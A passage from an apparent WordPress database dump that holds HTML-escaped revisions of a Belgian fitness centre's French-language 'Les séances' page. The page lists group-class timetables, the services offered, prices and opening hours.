:&lt;/h4&gt;\r\n\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:38:00', '2013-07-03 17:38:00', '', 11, 'http://www.crosstrainingcenter.be/?p=189', 0, 'revision', '', 0),
(188, 1, '2013-07-03 17:35:03', '2013-07-03 17:35:03', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;En semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h4&gt;Le week-end :&lt;/h4&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;&lt;/td&gt;\r\n&lt;td&gt;LUNDI&lt;/td&gt;\r\n&lt;td&gt;MARDI&lt;/td&gt;\r\n&lt;td&gt;MERCREDI&lt;/td&gt;\r\n&lt;td&gt;JEUDI&lt;/td&gt;\r\n&lt;td&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:35:03', '2013-07-03 17:35:03', '', 11, 'http://www.crosstrainingcenter.be/?p=188', 0, 'revision', '', 0),
(190, 1, '2013-07-03 17:38:41', '2013-07-03 17:38:41', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td 